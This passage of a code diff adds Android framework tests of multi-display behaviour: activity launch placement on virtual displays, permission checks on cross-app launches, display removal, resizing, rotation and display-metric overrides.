+        // Launch activity on new secondary display.
+        launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
+        mAmWmState.assertFocusedActivity("Focus must be on secondary display",
+                TEST_ACTIVITY_NAME);
+        final int externalFocusedStackId = mAmWmState.getAmState().getFocusedStackId();
+        focusedStack = mAmWmState.getAmState().getStackById(externalFocusedStackId);
+        assertEquals("Focused stack must be on secondary display", newDisplay.mDisplayId,
+                focusedStack.mDisplayId);
+
+        // Launch other activity with different uid and check it is launched on dynamic stack on
+        // secondary display.
+        final String startCmd =  "am start -n " + SECOND_PACKAGE_NAME + "/." + SECOND_ACTIVITY_NAME
+                + " --display " + newDisplay.mDisplayId;
+        executeShellCommand(startCmd);
+
+        mAmWmState.waitForValidState(mDevice, new String[] {SECOND_ACTIVITY_NAME},
+                null /* stackIds */, false /* compareTaskAndStackBounds */, SECOND_PACKAGE_NAME);
+        mAmWmState.assertFocusedActivity("Focus must be on newly launched app", SECOND_PACKAGE_NAME,
+                SECOND_ACTIVITY_NAME);
+        assertEquals("Activity launched by system must be on external display",
+                externalFocusedStackId, mAmWmState.getAmState().getFocusedStackId());
+    }
+
+    /** Test that launching from app that is on external display is allowed. */
+    public void testPermissionLaunchFromAppOnSecondary() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        // Create new virtual display.
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+        mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
+        mAmWmState.assertFocusedActivity("Virtual display activity must be focused",
+                VIRTUAL_DISPLAY_ACTIVITY);
+        final int defaultDisplayFocusedStackId = mAmWmState.getAmState().getFocusedStackId();
+        ActivityManagerState.ActivityStack focusedStack
+                = mAmWmState.getAmState().getStackById(defaultDisplayFocusedStackId);
+        assertEquals("Focus must remain on primary display", DEFAULT_DISPLAY_ID,
+                focusedStack.mDisplayId);
+
+        // Launch activity with different uid on secondary display.
+        final String startCmd =  "am start -n " + SECOND_PACKAGE_NAME + "/." + SECOND_ACTIVITY_NAME;
+        final String displayTarget = " --display " + newDisplay.mDisplayId;
+        executeShellCommand(startCmd + displayTarget);
+
+        mAmWmState.waitForValidState(mDevice, new String[] {SECOND_ACTIVITY_NAME},
+                null /* stackIds */, false /* compareTaskAndStackBounds */, SECOND_PACKAGE_NAME);
+        mAmWmState.assertFocusedActivity("Focus must be on newly launched app",
+                SECOND_PACKAGE_NAME, SECOND_ACTIVITY_NAME);
+        final int externalFocusedStackId = mAmWmState.getAmState().getFocusedStackId();
+        focusedStack = mAmWmState.getAmState().getStackById(externalFocusedStackId);
+        assertEquals("Focused stack must be on secondary display", newDisplay.mDisplayId,
+                focusedStack.mDisplayId);
+
+        // Launch another activity with third different uid from app on secondary display and check
+        // it is launched on secondary display.
+        final String broadcastAction = SECOND_PACKAGE_NAME + ".LAUNCH_BROADCAST_ACTION";
+        final String targetActivity = " --es target_activity " + THIRD_ACTIVITY_NAME
+                + " --es package_name " + THIRD_PACKAGE_NAME
+                + " --ei target_display " + newDisplay.mDisplayId;
+        final String includeStoppedPackagesFlag = " -f 0x00000020";
+        executeShellCommand("am broadcast -a " + broadcastAction + " -p " + SECOND_PACKAGE_NAME
+                + targetActivity + includeStoppedPackagesFlag);
+
+        mAmWmState.waitForValidState(mDevice, new String[] {THIRD_ACTIVITY_NAME},
+                null /* stackIds */, false /* compareTaskAndStackBounds */, THIRD_PACKAGE_NAME);
+        mAmWmState.assertFocusedActivity("Focus must be on newly launched app",
+                THIRD_PACKAGE_NAME, THIRD_ACTIVITY_NAME);
+        assertEquals("Activity launched by app on secondary display must be on that display",
+                externalFocusedStackId, mAmWmState.getAmState().getFocusedStackId());
+    }
+
+    /** Tests that an activity can launch an activity from a different UID into its own task. */
+    public void testPermissionLaunchMultiUidTask() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+
+        launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mDisplayId);
+        mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
+
+        // Check that the first activity is launched onto the secondary display
+        final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
+        ActivityManagerState.ActivityStack frontStack =
+                mAmWmState.getAmState().getStackById(frontStackId);
+        assertEquals("Activity launched on secondary display must be resumed",
+                getActivityComponentName(LAUNCHING_ACTIVITY),
+                frontStack.mResumedActivity);
+        mAmWmState.assertFocusedStack("Focus must be on secondary display", frontStackId);
+
+        // Launch an activity from a different UID into the first activity's task
+        getLaunchActivityBuilder()
+                .setTargetPackage(SECOND_PACKAGE_NAME)
+                .setTargetActivityName(SECOND_ACTIVITY_NAME).execute();
+
+        mAmWmState.assertFocusedStack("Focus must be on secondary display", frontStackId);
+        frontStack = mAmWmState.getAmState().getStackById(frontStackId);
+        mAmWmState.assertFocusedActivity("Focus must be on newly launched app",
+                SECOND_PACKAGE_NAME, SECOND_ACTIVITY_NAME);
+        assertEquals("Secondary display must contain 1 task", 1, frontStack.getTasks().size());
+    }
+
+    /**
+     * Test that launching from display owner is allowed even when the the display owner
+     * doesn't have anything on the display.
+     */
+    public void testPermissionLaunchFromOwner() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        // Create new virtual display.
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+        mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
+        mAmWmState.assertFocusedActivity("Virtual display activity must be focused",
+                VIRTUAL_DISPLAY_ACTIVITY);
+        final int defaultDisplayFocusedStackId = mAmWmState.getAmState().getFocusedStackId();
+        ActivityManagerState.ActivityStack focusedStack
+                = mAmWmState.getAmState().getStackById(defaultDisplayFocusedStackId);
+        assertEquals("Focus must remain on primary display", DEFAULT_DISPLAY_ID,
+                focusedStack.mDisplayId);
+
+        // Launch other activity with different uid on secondary display.
+        final String startCmd =  "am start -n " + SECOND_PACKAGE_NAME + "/." + SECOND_ACTIVITY_NAME;
+        final String displayTarget = " --display " + newDisplay.mDisplayId;
+        executeShellCommand(startCmd + displayTarget);
+
+        mAmWmState.waitForValidState(mDevice, new String[] {SECOND_ACTIVITY_NAME},
+                null /* stackIds */, false /* compareTaskAndStackBounds */, SECOND_PACKAGE_NAME);
+        mAmWmState.assertFocusedActivity("Focus must be on newly launched app",
+                SECOND_PACKAGE_NAME, SECOND_ACTIVITY_NAME);
+        final int externalFocusedStackId = mAmWmState.getAmState().getFocusedStackId();
+        focusedStack = mAmWmState.getAmState().getStackById(externalFocusedStackId);
+        assertEquals("Focused stack must be on secondary display", newDisplay.mDisplayId,
+                focusedStack.mDisplayId);
+
+        // Check that owner uid can launch its own activity on secondary display.
+        final String broadcastAction = componentName + ".LAUNCH_BROADCAST_ACTION";
+        executeShellCommand("am broadcast -a " + broadcastAction + " -p " + componentName
+                + " --ez launch_activity true --ez new_task true --ez multiple_task true"
+                + " --ei display_id " + newDisplay.mDisplayId);
+
+        mAmWmState.waitForValidState(mDevice, TEST_ACTIVITY_NAME);
+        mAmWmState.assertFocusedActivity("Focus must be on newly launched app", TEST_ACTIVITY_NAME);
+        assertEquals("Activity launched by owner must be on external display",
+                externalFocusedStackId, mAmWmState.getAmState().getFocusedStackId());
+    }
+
+    /**
+     * Test that launching from app that is not present on external display and doesn't own it to
+     * that external display is not allowed.
+     */
+    public void testPermissionLaunchFromDifferentApp() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        // Create new virtual display.
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+        mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
+        mAmWmState.assertFocusedActivity("Virtual display activity must be focused",
+                VIRTUAL_DISPLAY_ACTIVITY);
+        final int defaultDisplayFocusedStackId = mAmWmState.getAmState().getFocusedStackId();
+        ActivityManagerState.ActivityStack focusedStack
+                = mAmWmState.getAmState().getStackById(defaultDisplayFocusedStackId);
+        assertEquals("Focus must remain on primary display", DEFAULT_DISPLAY_ID,
+                focusedStack.mDisplayId);
+
+        // Launch activity on new secondary display.
+        launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
+        mAmWmState.assertFocusedActivity("Focus must be on secondary display",
+                TEST_ACTIVITY_NAME);
+        final int externalFocusedStackId = mAmWmState.getAmState().getFocusedStackId();
+        focusedStack = mAmWmState.getAmState().getStackById(externalFocusedStackId);
+        assertEquals("Focused stack must be on secondary display", newDisplay.mDisplayId,
+                focusedStack.mDisplayId);
+
+        final String logSeparator = clearLogcat();
+
+        // Launch other activity with different uid and check it is launched on primary display.
+        final String broadcastAction = SECOND_PACKAGE_NAME + ".LAUNCH_BROADCAST_ACTION";
+        final String includeStoppedPackagesFlag = " -f 0x00000020";
+        executeShellCommand("am broadcast -a " + broadcastAction + " -p " + SECOND_PACKAGE_NAME
+                + " --ei target_display " + newDisplay.mDisplayId + includeStoppedPackagesFlag);
+
+        int tries = 0;
+        boolean match = false;
+        final Pattern pattern = Pattern.compile(".*SecurityException launching activity.*");
+        while (tries < 5 && !match) {
+            String[] logs = getDeviceLogsForComponent("LaunchBroadcastReceiver", logSeparator);
+            for (String line : logs) {
+                Matcher m = pattern.matcher(line);
+                if (m.matches()) {
+                    match = true;
+                    break;
+                }
+            }
+            tries++;
+            try {
+                Thread.sleep(500);
+            } catch (InterruptedException e) {
+            }
+        }
+
+        assertTrue("Expected exception not found", match);
+
+        mAmWmState.waitForValidState(mDevice, new String[] {TEST_ACTIVITY_NAME},
+                null /* stackIds */, false /* compareTaskAndStackBounds */, componentName);
+        mAmWmState.assertFocusedActivity(
+                "Focus must be on first activity", componentName, TEST_ACTIVITY_NAME);
+        assertEquals("Focused stack must be on secondary display's stack",
+                externalFocusedStackId, mAmWmState.getAmState().getFocusedStackId());
+    }
+
+    /**
+     * Test that all activities that were on the private display are destroyed on display removal.
+     */
+    @Presubmit
+    public void testContentDestroyOnDisplayRemoved() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        // Create new private virtual display.
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+        mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
+
+        // Launch activities on new secondary display.
+        launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
+        mAmWmState.assertVisibility(TEST_ACTIVITY_NAME, true /* visible */);
+        mAmWmState.assertFocusedActivity("Launched activity must be focused", TEST_ACTIVITY_NAME);
+        launchActivityOnDisplay(RESIZEABLE_ACTIVITY_NAME, newDisplay.mDisplayId);
+        mAmWmState.assertVisibility(RESIZEABLE_ACTIVITY_NAME, true /* visible */);
+        mAmWmState.assertFocusedActivity("Launched activity must be focused",
+                RESIZEABLE_ACTIVITY_NAME);
+
+        // Destroy the display and check if activities are removed from system.
+        final String logSeparator = clearLogcat();
+        destroyVirtualDisplays();
+        final String activityName1
+                = ActivityManagerTestBase.getActivityComponentName(TEST_ACTIVITY_NAME);
+        final String activityName2
+                = ActivityManagerTestBase.getActivityComponentName(RESIZEABLE_ACTIVITY_NAME);
+        final String windowName1
+                = ActivityManagerTestBase.getWindowName(TEST_ACTIVITY_NAME);
+        final String windowName2
+                = ActivityManagerTestBase.getWindowName(RESIZEABLE_ACTIVITY_NAME);
+        mAmWmState.waitForWithAmState(mDevice,
+                (state) -> !state.containsActivity(activityName1)
+                        && !state.containsActivity(activityName2),
+                "Waiting for activity to be removed");
+        mAmWmState.waitForWithWmState(mDevice,
+                (state) -> !state.containsWindow(windowName1)
+                        && !state.containsWindow(windowName2),
+                "Waiting for activity window to be gone");
+
+        // Check AM state.
+        assertFalse("Activity from removed display must be destroyed",
+                mAmWmState.getAmState().containsActivity(activityName1));
+        assertFalse("Activity from removed display must be destroyed",
+                mAmWmState.getAmState().containsActivity(activityName2));
+        // Check WM state.
+        assertFalse("Activity windows from removed display must be destroyed",
+                mAmWmState.getWmState().containsWindow(windowName1));
+        assertFalse("Activity windows from removed display must be destroyed",
+                mAmWmState.getWmState().containsWindow(windowName2));
+        // Check activity logs.
+        assertActivityDestroyed(TEST_ACTIVITY_NAME, logSeparator);
+        assertActivityDestroyed(RESIZEABLE_ACTIVITY_NAME, logSeparator);
+    }
+
+    /**
+     * Test that the update of display metrics updates all its content.
+     */
+    @Presubmit
+    public void testDisplayResize() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        // Create new virtual display.
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+        mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
+
+        // Launch a resizeable activity on new secondary display.
+        final String initialLogSeparator = clearLogcat();
+        launchActivityOnDisplay(RESIZEABLE_ACTIVITY_NAME, newDisplay.mDisplayId);
+        mAmWmState.assertVisibility(RESIZEABLE_ACTIVITY_NAME, true /* visible */);
+        mAmWmState.assertFocusedActivity("Launched activity must be focused",
+                RESIZEABLE_ACTIVITY_NAME);
+
+        // Grab reported sizes and compute new with slight size change.
+        final ReportedSizes initialSize = getLastReportedSizesForActivity(RESIZEABLE_ACTIVITY_NAME,
+                initialLogSeparator);
+
+        // Resize the docked stack, so that activity with virtual display will also be resized.
+        final String logSeparator = clearLogcat();
+        executeShellCommand(getResizeVirtualDisplayCommand());
+
+        mAmWmState.waitForWithAmState(mDevice, amState -> {
+            try {
+                return readConfigChangeNumber(RESIZEABLE_ACTIVITY_NAME, logSeparator) == 1
+                        && amState.hasActivityState(RESIZEABLE_ACTIVITY_NAME, STATE_RESUMED);
+            } catch (Exception e) {
+                logE("Error waiting for valid state: " + e.getMessage());
+                return false;
+            }
+        }, "Wait for the configuration change to happen and for activity to be resumed.");
+
+        mAmWmState.computeState(mDevice, new String[] {RESIZEABLE_ACTIVITY_NAME,
+                VIRTUAL_DISPLAY_ACTIVITY}, false /* compareTaskAndStackBounds */);
+        mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true);
+        mAmWmState.assertVisibility(RESIZEABLE_ACTIVITY_NAME, true);
+
+        // Check if activity in virtual display was resized properly.
+        assertRelaunchOrConfigChanged(RESIZEABLE_ACTIVITY_NAME, 0 /* numRelaunch */,
+                1 /* numConfigChange */, logSeparator);
+
+        final ReportedSizes updatedSize = getLastReportedSizesForActivity(RESIZEABLE_ACTIVITY_NAME,
+                logSeparator);
+        assertTrue(updatedSize.widthDp <= initialSize.widthDp);
+        assertTrue(updatedSize.heightDp <= initialSize.heightDp);
+        assertTrue(updatedSize.displayWidth == initialSize.displayWidth / 2);
+        assertTrue(updatedSize.displayHeight == initialSize.displayHeight / 2);
+    }
+
+    /** Read the number of configuration changes sent to activity from logs. */
+    private int readConfigChangeNumber(String activityName, String logSeparator) throws Exception {
+        return (new ActivityLifecycleCounts(activityName, logSeparator)).mConfigurationChangedCount;
+    }
+
+    /**
+     * Tests that when an activity is launched with displayId specified and there is an existing
+     * matching task on some other display - that task will moved to the target display.
+     */
+    public void testMoveToDisplayOnLaunch() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        // Launch activity with unique affinity, so it will the only one in its task.
+        launchActivity(LAUNCHING_ACTIVITY);
+
+        // Create new virtual display.
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+        mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
+        final int defaultDisplayStackId = mAmWmState.getAmState().getFocusedStackId();
+        // Launch something to that display so that a new stack is created. We need this to be able
+        // to compare task numbers in stacks later.
+        launchActivityOnDisplay(RESIZEABLE_ACTIVITY_NAME, newDisplay.mDisplayId);
+        mAmWmState.assertVisibility(RESIZEABLE_ACTIVITY_NAME, true /* visible */);
+
+        final int taskNum = mAmWmState.getAmState().getStackById(defaultDisplayStackId)
+                .getTasks().size();
+        final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
+        final int taskNumOnSecondary = mAmWmState.getAmState().getStackById(frontStackId)
+                .getTasks().size();
+
+        // Launch activity on new secondary display.
+        // Using custom command here, because normally we add flags Intent#FLAG_ACTIVITY_NEW_TASK
+        // and Intent#FLAG_ACTIVITY_MULTIPLE_TASK when launching on some specific display. We don't
+        // do it here as we want an existing task to be used.
+        final String launchCommand = "am start -n " + getActivityComponentName(LAUNCHING_ACTIVITY)
+                + " --display " + newDisplay.mDisplayId;
+        executeShellCommand(launchCommand);
+        mAmWmState.waitForActivityState(mDevice, LAUNCHING_ACTIVITY, STATE_RESUMED);
+
+        // Check that activity is brought to front.
+        mAmWmState.assertFocusedActivity("Existing task must be brought to front",
+                LAUNCHING_ACTIVITY);
+        mAmWmState.assertResumedActivity("Existing task must be resumed", LAUNCHING_ACTIVITY);
+
+        // Check that activity is on the right display.
+        final ActivityManagerState.ActivityStack firstFrontStack =
+                mAmWmState.getAmState().getStackById(frontStackId);
+        assertEquals("Activity must be moved to the secondary display",
+                getActivityComponentName(LAUNCHING_ACTIVITY), firstFrontStack.mResumedActivity);
+        mAmWmState.assertFocusedStack("Focus must be on secondary display", frontStackId);
+
+        // Check that task has moved from primary display to secondary.
+        final int taskNumFinal = mAmWmState.getAmState().getStackById(defaultDisplayStackId)
+                .getTasks().size();
+        mAmWmState.assertEquals("Task number in default stack must be decremented.", taskNum - 1,
+                taskNumFinal);
+        final int taskNumFinalOnSecondary = mAmWmState.getAmState().getStackById(frontStackId)
+                .getTasks().size();
+        mAmWmState.assertEquals("Task number in stack on external display must be incremented.",
+                taskNumOnSecondary + 1, taskNumFinalOnSecondary);
+    }
+
+    /**
+     * Tests that when primary display is rotated secondary displays are not affected.
+     */
+    public void testRotationNotAffectingSecondaryScreen() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        // Create new virtual display.
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this)
+                .setResizeDisplay(false)
+                .build();
+        mAmWmState.assertVisibility(VIRTUAL_DISPLAY_ACTIVITY, true /* visible */);
+
+        // Launch activity on new secondary display.
+        String logSeparator = clearLogcat();
+        launchActivityOnDisplay(RESIZEABLE_ACTIVITY_NAME, newDisplay.mDisplayId);
+        mAmWmState.assertFocusedActivity("Focus must be on secondary display",
+                RESIZEABLE_ACTIVITY_NAME);
+        final ReportedSizes initialSizes = getLastReportedSizesForActivity(
+                RESIZEABLE_ACTIVITY_NAME, logSeparator);
+        assertNotNull("Test activity must have reported initial sizes on launch", initialSizes);
+
+        // Rotate primary display and check that activity on secondary display is not affected.
+        rotateAndCheckSameSizes(RESIZEABLE_ACTIVITY_NAME);
+
+        // Launch activity to secondary display when primary one is rotated.
+        final int initialRotation = mAmWmState.getWmState().getRotation();
+        setDeviceRotation((initialRotation + 1) % 4);
+
+        logSeparator = clearLogcat();
+        launchActivityOnDisplay(TEST_ACTIVITY_NAME, newDisplay.mDisplayId);
+        mAmWmState.waitForActivityState(mDevice, TEST_ACTIVITY_NAME, STATE_RESUMED);
+        mAmWmState.assertFocusedActivity("Focus must be on secondary display",
+                TEST_ACTIVITY_NAME);
+        final ReportedSizes testActivitySizes = getLastReportedSizesForActivity(
+                TEST_ACTIVITY_NAME, logSeparator);
+        assertEquals("Sizes of secondary display must not change after rotation of primary display",
+                initialSizes, testActivitySizes);
+    }
+
+    private void rotateAndCheckSameSizes(String activityName) throws Exception {
+        for (int rotation = 3; rotation >= 0; --rotation) {
+            final String logSeparator = clearLogcat();
+            setDeviceRotation(rotation);
+            final ReportedSizes rotatedSizes = getLastReportedSizesForActivity(activityName,
+                    logSeparator);
+            assertNull("Sizes must not change after rotation", rotatedSizes);
+        }
+    }
+
+    /**
+     * Tests that task affinity does affect what display an activity is launched on but that
+     * matching the task component root does.
+     */
+    public void testTaskMatchAcrossDisplays() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+
+        launchActivityOnDisplay(LAUNCHING_ACTIVITY, newDisplay.mDisplayId);
+        mAmWmState.computeState(mDevice, new String[] {LAUNCHING_ACTIVITY});
+
+        // Check that activity is on the right display.
+        final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
+        final ActivityManagerState.ActivityStack firstFrontStack =
+                mAmWmState.getAmState().getStackById(frontStackId);
+        assertEquals("Activity launched on secondary display must be resumed",
+                getActivityComponentName(LAUNCHING_ACTIVITY), firstFrontStack.mResumedActivity);
+        mAmWmState.assertFocusedStack("Focus must be on secondary display", frontStackId);
+
+        executeShellCommand("am start -n " + getActivityComponentName(ALT_LAUNCHING_ACTIVITY));
+        mAmWmState.waitForValidState(mDevice, new String[] {ALT_LAUNCHING_ACTIVITY},
+                null /* stackIds */, false /* compareTaskAndStackBounds */, componentName);
+
+        // Check that second activity gets launched on the default display
+        final int defaultDisplayFrontStackId = mAmWmState.getAmState().getFrontStackId(
+                DEFAULT_DISPLAY_ID);
+        final ActivityManagerState.ActivityStack defaultDisplayFrontStack =
+                mAmWmState.getAmState().getStackById(defaultDisplayFrontStackId);
+        assertEquals("Activity launched on default display must be resumed",
+                getActivityComponentName(ALT_LAUNCHING_ACTIVITY),
+                defaultDisplayFrontStack.mResumedActivity);
+        mAmWmState.assertFocusedStack("Focus must be on primary display",
+                defaultDisplayFrontStackId);
+
+        executeShellCommand("am start -n " + getActivityComponentName(LAUNCHING_ACTIVITY));
+        mAmWmState.waitForFocusedStack(mDevice, frontStackId);
+
+        // Check that the third intent is redirected to the first task
+        final ActivityManagerState.ActivityStack secondFrontStack
+                = mAmWmState.getAmState().getStackById(frontStackId);
+        assertEquals("Activity launched on default display must be resumed",
+                getActivityComponentName(LAUNCHING_ACTIVITY), secondFrontStack.mResumedActivity);
+        mAmWmState.assertFocusedStack("Focus must be on primary display", frontStackId);
+        assertEquals("Focused stack must only contain 1 task",
+                1, secondFrontStack.getTasks().size());
+        assertEquals("Focused task must only contain 1 activity",
+                1, secondFrontStack.getTasks().get(0).mActivities.size());
+    }
+
+    /**
+     * Tests than a new task launched by an activity will end up on that activity's display
+     * even if the focused stack is not on that activity's display.
+     */
+    public void testNewTaskSameDisplay() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this).build();
+
+        launchActivityOnDisplay(BROADCAST_RECEIVER_ACTIVITY, newDisplay.mDisplayId);
+        mAmWmState.computeState(mDevice, new String[] {BROADCAST_RECEIVER_ACTIVITY});
+
+        // Check that the first activity is launched onto the secondary display
+        final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
+        final ActivityManagerState.ActivityStack firstFrontStack =
+                mAmWmState.getAmState().getStackById(frontStackId);
+        assertEquals("Activity launched on secondary display must be resumed",
+                getActivityComponentName(BROADCAST_RECEIVER_ACTIVITY),
+                firstFrontStack.mResumedActivity);
+        mAmWmState.assertFocusedStack("Focus must be on secondary display", frontStackId);
+
+        executeShellCommand("am start -n " + getActivityComponentName(TEST_ACTIVITY_NAME));
+        mAmWmState.waitForValidState(mDevice, new String[] {TEST_ACTIVITY_NAME},
+                null /* stackIds */, false /* compareTaskAndStackBounds */, componentName);
+
+        // Check that the second activity is launched on the default display
+        final int focusedStackId = mAmWmState.getAmState().getFocusedStackId();
+        final ActivityManagerState.ActivityStack focusedStack
+                = mAmWmState.getAmState().getStackById(focusedStackId);
+        assertEquals("Activity launched on default display must be resumed",
+                getActivityComponentName(TEST_ACTIVITY_NAME), focusedStack.mResumedActivity);
+        assertEquals("Focus must be on primary display", DEFAULT_DISPLAY_ID,
+                focusedStack.mDisplayId);
+
+        executeShellCommand("am broadcast -a trigger_broadcast --ez launch_activity true "
+                + "--ez new_task true --es target_activity " + LAUNCHING_ACTIVITY);
+
+        // Check that the third activity ends up in a new task in the same stack as the
+        // first activity
+        mAmWmState.waitForValidState(mDevice, new String[] {LAUNCHING_ACTIVITY},
+                null /* stackIds */, false /* compareTaskAndStackBounds */, componentName);
+        mAmWmState.assertFocusedStack("Focus must be on secondary display", frontStackId);
+        final ActivityManagerState.ActivityStack secondFrontStack =
+                mAmWmState.getAmState().getStackById(frontStackId);
+        assertEquals("Activity must be launched on secondary display",
+                getActivityComponentName(LAUNCHING_ACTIVITY),
+                secondFrontStack.mResumedActivity);
+        assertEquals("Secondary display must contain 2 tasks",
+                2, secondFrontStack.getTasks().size());
+    }
+
+    /**
+     * Test that display overrides apply correctly and won't be affected by display changes.
+     * This sets overrides to display size and density, initiates a display changed event by locking
+     * and unlocking the phone and verifies that overrides are kept.
+     */
+    @Presubmit
+    public void testForceDisplayMetrics() throws Exception {
+        launchHomeActivity();
+
+        // Read initial sizes.
+        final ReportedDisplayMetrics originalDisplayMetrics = getDisplayMetrics();
+
+        // Apply new override values that don't match the physical metrics.
+        final int overrideWidth = (int) (originalDisplayMetrics.physicalWidth * 1.5);
+        final int overrideHeight = (int) (originalDisplayMetrics.physicalHeight * 1.5);
+        executeShellCommand(WM_SIZE + " " + overrideWidth + "x" + overrideHeight);
+        final int overrideDensity = (int) (originalDisplayMetrics.physicalDensity * 1.1);
+        executeShellCommand(WM_DENSITY + " " + overrideDensity);
+
+        // Check if overrides applied correctly.
+        ReportedDisplayMetrics displayMetrics = getDisplayMetrics();
+        assertEquals(overrideWidth, displayMetrics.overrideWidth);
+        assertEquals(overrideHeight, displayMetrics.overrideHeight);
+        assertEquals(overrideDensity, displayMetrics.overrideDensity);
+
+        // Lock and unlock device. This will cause a DISPLAY_CHANGED event to be triggered and
+        // might update the metrics.
+        sleepDevice();
+        wakeUpAndUnlockDevice();
+        mAmWmState.waitForHomeActivityVisible(mDevice);
+
+        // Check if overrides are still applied.
+        displayMetrics = getDisplayMetrics();
+        assertEquals(overrideWidth, displayMetrics.overrideWidth);
+        assertEquals(overrideHeight, displayMetrics.overrideHeight);
+        assertEquals(overrideDensity, displayMetrics.overrideDensity);
+
+        // All overrides will be cleared in tearDown.
+    }
+
+    /**
+     * Tests than an immediate launch after new display creation is handled correctly.
+     */
+    public void testImmediateLaunchOnNewDisplay() throws Exception {
+        if (!supportsMultiDisplay()) { return; }
+
+        // Create new virtual display and immediately launch an activity on it.
+        final DisplayState newDisplay = new VirtualDisplayBuilder(this)
+                .setLaunchActivity(TEST_ACTIVITY_NAME).build();
+
+        // Check that activity is launched and placed correctly.
+        mAmWmState.waitForActivityState(mDevice, TEST_ACTIVITY_NAME, STATE_RESUMED);
+        mAmWmState.assertResumedActivity("Test activity must be launched on a new display",
+                TEST_ACTIVITY_NAME);
+        final int frontStackId = mAmWmState.getAmState().getFrontStackId(newDisplay.mDisplayId);
+        final ActivityManagerState.ActivityStack firstFrontStack =
+                mAmWmState.getAmState().getStackById(frontStackId);
+        assertEquals("Activity launched on secondary display must be resumed",
+                getActivityComponentName(TEST_ACTIVITY_NAME), firstFrontStack.mResumedActivity);
+        mAmWmState.assertFocusedStack("Focus must be on secondary display", frontStackId);
+    }
+
+    /** Get physical and override display metrics from WM. */
+    private ReportedDisplayMetrics getDisplayMetrics() throws Exception {
+        mDumpLines.clear();
+        final CollectingOutputReceiver outputReceiver = new CollectingOutputReceiver();
+        mDevice.executeShellCommand(WM_SIZE, outputReceiver);
+        mDevice.executeShellCommand(WM_DENSITY, outputReceiver);
+        final String dump = outputReceiver.getOutput();
+        mDumpLines.clear();
+        Collections.addAll(mDumpLines, dump.split("\\n"));
+        return ReportedDisplayMetrics.create(mDumpLines);
+    }
+
+    private static class ReportedDisplayMetrics {
+        private static final Pattern sPhysicalSizePattern =
+                Pattern.compile("Physical size: (\\d+)x(\\d+)");
+        private static final Pattern sOverrideSizePattern =
+                Pattern.compile("Override size: (\\d+)x(\\d+)");
+        private static final Pattern sPhysicalDensityPattern =
+                Pattern.compile("Physical density: (\\d+)");
+        private static final Pattern sOverrideDensityPattern =
+                Pattern.compile("Override density: (\\d+)");
+
+        int physicalWidth;
+        int physicalHeight;
+        int physicalDensity;
+
+        boolean sizeOverrideSet;
+        int overrideWidth;
+        int overrideHeight;
+        boolean densityOverrideSet;
+        int overrideDensity;
+
+        /** Get width that WM operates with. */
+        int getWidth() {
+            return sizeOverrideSet ? overrideWidth : physicalWidth;
+        }
+
+        /** Get height that WM operates with. */
+        int getHeight() {
+            return sizeOverrideSet ? overrideHeight : physicalHeight;
+        }
+
+        /** Get density that WM operates with. */
+        int getDensity() {
+            return densityOverrideSet ? overrideDensity : physicalDensity;
+        }
+
+        static ReportedDisplayMetrics create(LinkedList<String> dump) {
+            final ReportedDisplayMetrics result = new ReportedDisplayMetrics();
+
+            boolean physicalSizeFound = false;
+            boolean physicalDensityFound = false;
+
+            while (!dump.isEmpty()) {
+                final String line = dump.pop().trim();
+
+                Matcher matcher = sPhysicalSizePattern.matcher(line);
+                if (matcher.matches()) {
+                    physicalSizeFound = true;
+                    log(line);
+                    result.physicalWidth = Integer.parseInt(matcher.group(1));
+                    result.physicalHeight = Integer.parseInt(matcher.group(2));
+                    continue;
+                }
+
+                matcher = sOverrideSizePattern.matcher(line);
+                if (matcher.matches()) {
+                    log(line);
+                    result.overrideWidth = Integer.parseInt(matcher.group(1));
+                    result.overrideHeight = Integer.parseInt(matcher.group(2));
+                    result.sizeOverrideSet = true;
+                    continue;
+                }
+
+                matcher = sPhysicalDensityPattern.matcher(line);
+                if (matcher.matches()) {
+                    physicalDensityFound = true;
+                    log(line);
+                    result.physicalDensity = Integer.parseInt(matcher.group(1));
+                    continue;
+                }
+
+                matcher = sOverrideDensityPattern.matcher(line);
+                if (matcher.matches()) {
+                    log(line);
+                    result.overrideDensity = Integer.parseInt(matcher.group(1));
+                    result.densityOverrideSet = true;
+                    continue;
+                }
+            }
+
+            assertTrue("Physical display size must be reported", physicalSizeFound);
